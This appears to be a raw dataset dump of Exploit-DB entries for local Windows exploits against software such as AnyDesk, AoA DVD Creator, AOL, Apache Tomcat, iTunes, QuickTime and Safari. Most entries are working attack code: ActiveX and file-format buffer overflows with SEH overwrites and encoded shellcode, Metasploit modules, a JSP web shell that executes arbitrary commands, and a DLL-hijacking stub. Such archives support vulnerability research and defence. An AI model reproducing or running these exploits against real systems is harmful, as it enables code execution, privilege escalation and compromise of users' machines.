deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47883
Description: AnyDesk 5.4.0 - Unquoted Service Path
Type: local
Platform: windows
Date: 2020-01-07
Author: SajjadBnd

Exploit:
# Exploit Title: AnyDesk 5.4.0 - Unquoted Service Path
# Exploit Author: SajjadBnd
# Date: 2019-12-23
# Vendor Homepage: http://anydesk.com
# Software Link: https://download.anydesk.com/AnyDesk.exe
# Version: Software Version 5.4.0
# Tested on: Win10 x64

SERVICE_NAME: AnyDesk
         TYPE              : 10  WIN32_OWN_PROCESS
         START_TYPE        : 2   AUTO_START
         ERROR_CONTROL     : 1   NORMAL
         BINARY_PATH_NAME  : "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --service
         LOAD_ORDER_GROUP  :
         TAG               : 0
         DISPLAY_NAME      : AnyDesk Service
         DEPENDENCIES      : RpcSs
         SERVICE_START_NAME: LocalSystem
Exploit-DB #51968
Description: AnyDesk 7.0.15 - Unquoted Service Path
Type: local
Platform: windows
Date: 2024-04-08
Author: Milad karimi

Exploit:
# Exploit Title: AnyDesk 7.0.15 - Unquoted Service Path
# Date: 2024-04-01
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Vendor Homepage: http://anydesk.com
# Software Link: http://anydesk.com/download
# Version: Software Version 7.0.15
# Tested on: Windows 10 Pro x64

1. Description:

The Anydesk installs as a service with an unquoted service path running
with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof

C:\>sc qc anydesk
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: anydesk
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files (x86)\AnyDesk\AnyDesk.exe"
--service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AnyDesk Service
        DEPENDENCIES       : RpcSs
        SERVICE_START_NAME : LocalSystem


C:\>systeminfo

OS Name:  Microsoft Windows 10 Pro
OS Version: 10.0.19045 N/A Build 19045
OS Manufacturer: Microsoft Corporation
Exploit-DB #52258
Description: AnyDesk 9.0.1 - Unquoted Service Path
Type: local
Platform: windows
Date: 2025-04-17
Author: Parastou Razi

Exploit:
# Exploit Title: AnyDesk 9.0.1 - Unquoted Service Path
# Date: 2024-12-11
# Exploit Author: Parastou Razi
# Contact: razi.parastoo@gmail.com
# Vendor Homepage: http://anydesk.com
# Software Link: http://anydesk.com/download
# Version: Software Version 9.0.1
# Tested on: Windows 11 x64

1. Description:

The Anydesk installs as a service with an unquoted service path running
with SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.

2. Proof

C:\>sc qc anydesk --service
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: anydesk
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:\Program Files (x86)\AnyDesk\AnyDesk.exe"
--service
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AnyDesk Service
        DEPENDENCIES       : RpcSs
        SERVICE_START_NAME : LocalSystem
Exploit-DB #49549
Description: AnyTXT Searcher 1.2.394 - 'ATService' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-02-09
Author: Mohammed Alshehri

Exploit:
# Exploit Title: AnyTXT Searcher 1.2.394 - 'ATService' Unquoted Service Path
# Date: 2020-12-11
# Exploit Author: Mohammed Alshehri
# Vendor Homepage: Anytxt.net
# Software Link: https://sourceforge.net/projects/anytxt/files/AnyTXT.Searcher.1.2.394.exe
# Version: Version 1.2.394
# Tested on: Microsoft Windows 10 Education - 10.0.17763 N/A Build 17763


# Service info:
C:\Users\m507>sc qc ATService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ATService
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\AnyTXT Searcher\atservice.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AnyTXT Searcher Indexing Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\m507>
Exploit-DB #16132
Description: AoA DVD Creator 2.5 - ActiveX Stack Overflow
Type: local
Platform: windows
Date: 2011-02-07
Author: Carlos Mario Penagos Hollmann

Exploit:
# Exploit Title: AoA DVD Creator V2.5 Activex
# Date: Febrary 07  2011
# Author: Carlos Mario Penagos Hollmann
# Software Link: http://www.aoamedia.com/aoadvdcreator.exe
# Version: v2.5
# Tested on: Windows xp sp3  running on VMware Fusion 3.1 and VirtualBox 3.2.8


<html>
  mail----> shogilord^gmail.com spams are welcome!!!!!
    ________  _    _________   ____ __ _____   ________
   / ____/ / | |  / / ____/ | / / //_//  _/ | / / ____/
  / __/ / /  | | / / __/ /  |/ / ,<   / //  |/ / / __
 / /___/ /___| |/ / /___/ /|  / /| |_/ // /|  / /_/ /
/_____/_____/|___/_____/_/ |_/_/ |_/___/_/ |_/\____/
   
 COLOMBIA hacking presents.............

AoA DVD Creator exploit IE 6 ,IE 7 , IE 8
NO Heap Spray some badchars :(
the vendor dint replay my emails so here is the exploit

<object classid='clsid:125C3F0B-1073-4783-9A7B-D33E54269CA5' id='target'></object>
<script language='javascript'>
alert("done");

nseh="\xEB\x06\x90\x90";
seh="\xB3\xF1\x07\x10";
nops="\x90\x90\x90\x90\x90\x90\x90";
shell= "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4b\x58\x4e\x4e\x45\x45\x4b\x48\x4e\x4e\x4a\x56\x42\x52\x42\x32\x42\x32\x4f\x52\x4a\x36\x43\x56\x41\x36\x4e\x36\x43\x56\x4d\x38\x45\x44\x4a\x4f\x42\x35\x4a\x4b\x47\x4c\x43\x39\x44\x4c\x47\x37\x4f\x4f\x42\x4d\x5a";
junk1="A";
junk2="B";
while (junk1.length<2032){ junk1+=junk1;}

junk1=junk1.substring(0,2032);
junk2=junk1;
arg1="defaultV";
arg2="defaultV";
arg3=junk1+nseh+seh+nops+shell+junk2;
arg4="defaultV";
arg5="defaultV";

target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 ,arg5 );
alert("done");

</script>
Exploit-DB #16133
Description: AoA Mp4 Converter 4.1.0 - ActiveX Stack Overflow
Type: local
Platform: windows
Date: 2011-02-07
Author: Carlos Mario Penagos Hollmann

Exploit:
# Exploit Title: AoA Mp4 converter v4.1.0 Activex
# Date: Febrary 07  2011
# Author: Carlos Mario Penagos Hollmann
# Software Link: http://www.aoamedia.com/AoAMP4Converter.exe
# Version: v4.1.0
# Tested on: Windows xp sp3  running on VMware Fusion 3.1 and VirtualBox 3.2.8
<html>
mail----> shogilord^gmail.com spams are welcome!!!!!
    ________  _    _________   ____ __ _____   ________
   / ____/ / | |  / / ____/ | / / //_//  _/ | / / ____/
  / __/ / /  | | / / __/ /  |/ / ,<   / //  |/ / / __
 / /___/ /___| |/ / /___/ /|  / /| |_/ // /|  / /_/ /
/_____/_____/|___/_____/_/ |_/_/ |_/___/_/ |_/\____/
   
 COLOMBIA hacking presents.............
FIX your SkinCrafter.dll

AoA Mp4 converter v4.1.0  exploit for IE 6 ,IE 7 , IE 8

just some badchars :( thanks sud0
fataku....DONT BE LAZY!!
the vendor dint replay my emails so here is the exploit
<object classid='clsid:125C3F0B-1073-4783-9A7B-D33E54269CA5' id='target'></object>
<script language='javascript'>


nseh="\xEB\x06\x90\x90";
seh="\xB7\x1A\x01\x10";
nops="\x90\x90\x90\x90\x90\x90\x90";
shell= "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4b\x58\x4e\x4e\x45\x45\x4b\x48\x4e\x4e\x4a\x56\x42\x52\x42\x32\x42\x32\x4f\x52\x4a\x36\x43\x56\x41\x36\x4e\x36\x43\x56\x4d\x38\x45\x44\x4a\x4f\x42\x35\x4a\x4b\x47\x4c\x43\x39\x44\x4c\x47\x37\x4f\x4f\x42\x4d\x5a";
junk1="A";
junk2="A";
while (junk1.length<2048){ junk1+=junk1;}

junk1=junk1.substring(0,2048);
junk2=junk1;
arg1=junk1+nseh+seh+nops+shell+junk2;
arg2="defaultV";
arg3="defaultV";
arg4="defaultV";
arg5="defaultV";

target.InitLicenKeys(arg1 ,arg2 ,arg3 ,arg4 ,arg5 );


</script>
Exploit-DB #16085
Description: AOL 9.5 - '.rtx' Local Buffer Overflow
Type: local
Platform: windows
Date: 2011-01-31
Author: sup3r

Exploit:
#!/usr/bin/python
#Bug : AOL 9.5 (rtx) Local Buffer Overflow Exploit
#by sup3r
#Tested on : XP SP3
 
header1 = (
"\x3c\x48\x54\x4d\x4c\x3e\x3c\x46\x4f\x4e\x54\x20\x20\x53\x49\x5a"
"\x45\x3d\x32\x20\x50\x54\x53\x49\x5a\x45\x3d\x31\x30\x20\x46\x41"
"\x4d\x49\x4c\x59\x3d\x22\x53\x41\x4e\x53\x53\x45\x52\x49\x46\x22"
"\x20\x46\x41\x43\x45\x3d\x22\x41\x72\x69\x61\x6c\x22\x20\x4c\x41"
"\x4e\x47\x3d\x22\x30\x22\x3e\x3c\x41\x20\x48\x52\x45\x46\x3d\x22"
"\x68\x74\x74\x70\x3a\x2f\x2f")
 
header2 = (
"\x22\x3e\x74\x65\x73\x74\x3c\x2f\x41\x3e\x3c\x55\x3e\x3c\x42\x52"
"\x3e\x0d\x0a\x3c\x2f\x55\x3e\x3c\x2f\x46\x4f\x4e\x54\x3e\x3c\x2f"
"\x48\x54\x4d\x4c\x3e\x0d\x0a")
 
# win32_exec -  EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x45\x54\x4e\x53\x4b\x58\x4e\x47"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x58\x4f\x34\x4a\x31\x4b\x58"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x58\x46\x53\x4b\x58"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x45\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x35\x46\x32\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x34"
"\x4b\x48\x4f\x45\x4e\x31\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x58"
"\x41\x30\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x53\x45\x58\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x38\x42\x44\x4e\x30\x4b\x38\x42\x47\x4e\x51\x4d\x4a"
"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x58\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x58\x4a\x56\x4e\x43\x4f\x35\x41\x43"
"\x48\x4f\x42\x56\x48\x45\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x35\x4a\x56\x50\x47\x4a\x4d\x44\x4e\x43\x47\x4a\x56\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x46"
"\x4e\x56\x43\x36\x42\x50\x5a")
 
payload =  header1
payload += "\x41"*5456
payload += "\x75\x12"
payload += "\x44"*14
payload += "\x8D\x1F\x94\x64"   #CALL EDI
payload += shellcode
payload += header2
 
try:
   aol = open("exploit.rtx",'w')
   aol.write(payload)
   aol.close()
   print "Exploit file created!\n"
except:
   print "Error!"
Exploit-DB #7264
Description: Apache Tomcat (Windows) - 'runtime.getRuntime().exec()' Local Privilege Escalation
Type: local
Platform: windows
Date: 2008-11-28
Author: Abysssec

Exploit:
<%@ page import="java.util.*,java.io.*"%>
<%
%>
 
<%--
abysssec inc public material
 
just upload this file with abysssec.jsp and execute your command
your command will run as administrator . you can download sam file
add user or do anything you want .
note : please be gentle and don't obstructionism .
vulnerability discovered by : abysssec.com
 
 --%>
<HTML><BODY bgcolor=#0000000 and text=#DO0000>
<title> Abysssec inc (abysssec.com) JSP vulnerability </tile>
<center><h3>JSP Privilege Escalation Vulnerability PoC</center></h3>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Execute !">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

# milw0rm.com [2008-11-28]
Exploit-DB #36837
Description: Apple iTunes 10.6.1.7 - '.pls' Title Buffer Overflow
Type: local
Platform: windows
Date: 2015-04-27
Author: Fady Mohammed Osman

Exploit:
# Exploit Title: Apple Itunes PLS title buffer overflow
# Date: April 26 ,2015 (Day of disclosing this exploit code)
# Exploit Author: Fady Mohamed Osman (@fady_osman)
# Vendor Homepage: http://www.apple.com
# Software Link: http://www.apple.com/itunes/download/?id=890128564
# Version: 10.6.1.7
# Tested on: Windows Xp sp3
# Exploit-db : http://www.exploit-db.com/author/?a=2986
# Youtube : https://www.youtube.com/user/cutehack3r

header = "[Playlist]\r\n"
header << "NumberOfEntries=1\r\n"
header << "File1=http://www.panix.com/web/faq/multimedia/sample.mp3\r\n"
header << "Title1="

nseh_longer = "\xeb\x1E\x90\x90"
nseh_shorter = "\xeb\x06\x90\x90"
seh = 0x72d119de #pop pop ret from msacm32.drv
shell = "\xdd\xc1\xd9\x74\x24\xf4\xbb\x2b\x2b\x88\x37\x5a\x31\xc9" +
"\xb1\x33\x83\xea\xfc\x31\x5a\x13\x03\x71\x38\x6a\xc2\x79" +
"\xd6\xe3\x2d\x81\x27\x94\xa4\x64\x16\x86\xd3\xed\x0b\x16" +
"\x97\xa3\xa7\xdd\xf5\x57\x33\x93\xd1\x58\xf4\x1e\x04\x57" +
"\x05\xaf\x88\x3b\xc5\xb1\x74\x41\x1a\x12\x44\x8a\x6f\x53" +
"\x81\xf6\x80\x01\x5a\x7d\x32\xb6\xef\xc3\x8f\xb7\x3f\x48" +
"\xaf\xcf\x3a\x8e\x44\x7a\x44\xde\xf5\xf1\x0e\xc6\x7e\x5d" +
"\xaf\xf7\x53\xbd\x93\xbe\xd8\x76\x67\x41\x09\x47\x88\x70" +
"\x75\x04\xb7\xbd\x78\x54\xff\x79\x63\x23\x0b\x7a\x1e\x34" +
"\xc8\x01\xc4\xb1\xcd\xa1\x8f\x62\x36\x50\x43\xf4\xbd\x5e" +
"\x28\x72\x99\x42\xaf\x57\x91\x7e\x24\x56\x76\xf7\x7e\x7d" +
"\x52\x5c\x24\x1c\xc3\x38\x8b\x21\x13\xe4\x74\x84\x5f\x06" +
"\x60\xbe\x3d\x4c\x77\x32\x38\x29\x77\x4c\x43\x19\x10\x7d" +
"\xc8\xf6\x67\x82\x1b\xb3\x98\xc8\x06\x95\x30\x95\xd2\xa4" +
"\x5c\x26\x09\xea\x58\xa5\xb8\x92\x9e\xb5\xc8\x97\xdb\x71" +
"\x20\xe5\x74\x14\x46\x5a\x74\x3d\x25\x3d\xe6\xdd\x84\xd8" +
"\x8e\x44\xd9"
#1020 --> offset in local exploits 
payload = header + "A" * 1020 + nseh_shorter + [seh].pack('V') + shell 
#380  or 404 (if itunes wasn't already loaded)--> offset in remote ones using the itms protocol.
payload_remote =  header + "A" * 380 + nseh_longer + [seh].pack('V') + "A" * 16 + nseh_shorter + [seh].pack('V') +  shell 

# when using as local exploit
open('exploit.pls', 'w') { |f|
  f.puts payload
}
puts('local file created')

# place this in a web server and use the itms:// protocol to load it.
open('exploit_remote.pls', 'w') { |f|
  f.puts payload_remote
}
puts('remote file created')
Exploit-DB #16562
Description: Apple iTunes 4.7 - Playlist Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: apple_itunes_playlist.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple ITunes 4.7 Playlist Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Apple ITunes 4.7
				build 4.7.0.42. By creating a URL link to a malicious PLS
				file, a remote attacker could overflow a buffer and execute
				arbitrary code. When using this module, be sure to set the
				URIPATH with an extension of '.pls'.
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'MC',
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2005-0043' ],
					[ 'OSVDB', '12833' ],
					[ 'BID', '12238' ],
				],

			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},

			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro English SP4',	{ 'Ret' => 0x75033083 } ],
					[ 'Windows XP Pro English SP2',		{ 'Ret' => 0x77dc2063 } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jan 11 2005',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		cruft   = rand(9).to_s

		sploit =  make_nops(2545) + payload.encoded + [target.ret].pack('V')

		# Build the HTML content
		content =  "[playlist]\r\n" + "NumberOfEntries=#{cruft}\r\n"
		content << "File#{cruft}=http://#{sploit}"

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content, { 'Content-Type' => 'text/html' })

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #17777
Description: Apple QuickTime - PICT PnSize Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2011-09-03
Author: Metasploit

Exploit:
##
# $Id: apple_quicktime_pnsize.rb 13691 2011-09-03 21:17:58Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apple QuickTime PICT PnSize Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in Apple QuickTime Player 7.60.92.0.
				When opening a .mov file containing a specially crafted PnSize value, an attacker
				may be able to execute arbitrary code. 
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 13691 $',
			'References'     =>
				[
					[ 'CVE', '2011-0257' ],
					[ 'BID', '49144' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "",
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops'  =>  'True',
					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
					'EncoderOptions' =>
						{
							'BufferRegister' => 'ECX',
						},
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3', { 'Ret' => 0x672b6d4a } ], # QuickTime.qts 7.60.92.0
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Aug 8 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME',   [ false, 'The file name.',  'msf.mov' ]),
			], self.class)
	end

	def exploit

		trigger = rand_text_alpha_upper(3324)
		trigger[2302, 8]  = generate_seh_record(target.ret)
		trigger[2310, payload.encoded.size] = payload.encoded

		path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )
		fd = File.open(path, "rb" )
		sploit = fd.read(fd.stat.size)
		fd.close

		sploit << trigger

		file_create(sploit)
	end
end
__END__
http://mirrors.apple2.org.za/apple.cabi.net/Graphics/PICT.and_QT.INFO/PICT.file.format.TI.txt

Opcode   Name                       Description                  Data Size (in bytes)

$0007    PnSize                     pen size (point)             4
Exploit-DB #19401
Description: Apple QuickTime - QuickTime.util.QTByteObject Initialization Security Checks Bypass
Type: local
Platform: windows
Date: 2012-06-26
Author: Security Explorations

Exploit:
/*## (c) SECURITY EXPLORATIONS    2012 poland                                #*/
/*##     http://www.security-explorations.com                                #*/

/* Apple QuickTime Java extensions                                            */
/* quicktime.util.QTByteObject initialization security checks bypass          */

In order to test the POC code for the reported Issue 22, manually add
Vuln22Setup.class and Vuln22Setup$1.class to the original QTJava.zip
file from your CLASSPATH environment variable. This file is usually
located in lib\ext directory of your JRE base dir:

Microsoft Windows [Wersja 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Wszelkie prawa zastrzezone.

c:\>set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\Internet\AppData\Roaming
CLASSPATH=.;C:\_SOFTWARE\jre6\lib\ext\QTJava.zip
COMMANDER_DRIVE=C:
...

Both Vuln22Setup and Vuln22Setup$1 classes mimic undisclosed and not
yet patched, Oracle's Issue 15.

Successfull exploit run should lead to the execution of notepad.exe and
c:\se.txt file creation. Additionally, Java console output similar to the
one denoted below should be observed:

Java Plug-in 1.6.0_33
Using JRE version 1.6.0_33-b03 Java HotSpot(TM) Client VM
User home directory = C:\Users\Internet

----------------------------------------------------
c:   clear console window
f:   finalize objects on finalization queue
g:   garbage collect
h:   display this help message
l:   dump classloader list
m:   print memory usage
o:   trigger logging
q:   hide console
r:   reload policy configuration
s:   dump system and deployment properties
t:   dump thread list
v:   dump thread stack
x:   clear classloader cache
0-5: set trace level to <n>
----------------------------------------------------

Security manager = sun.plugin2.applet.Applet2SecurityManager@15cda3f
QTSession.hasSecurityRestrictions() = true
Created: MyQTByteObject
using off 0x24d00000 for Windows 7 (x86)
found Marker instance at 0x251e0008
Security manager = null

===
PoC
===

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19401.zip

========
Advisory
========

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19401.pdf
Exploit-DB #14756
Description: Apple Safari 5.0.1 - 'dwmapi.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Secfence

Exploit:
/*
Version: Safari 5.0.1
Tested on: Windows XP SP3
Author : Secfence

Exploit By:
Vinay Katoch,
Secfence Technologies
www.secfence.com
http://twitter.com/secfence

Place a .htm .mht .mhtml .xht .xhtm .xhtl file and dwmapi.dll in same folder
and run file in safari.

Code for dwmapi.dll:
*/

/*----------*/

/* wintab32.cpp */

#include "stdafx.h"
#include "dragon.h"

void init() {
MessageBox(NULL,"Pwned", "Pwned!",0x00000003);
}


BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}

/*----------*/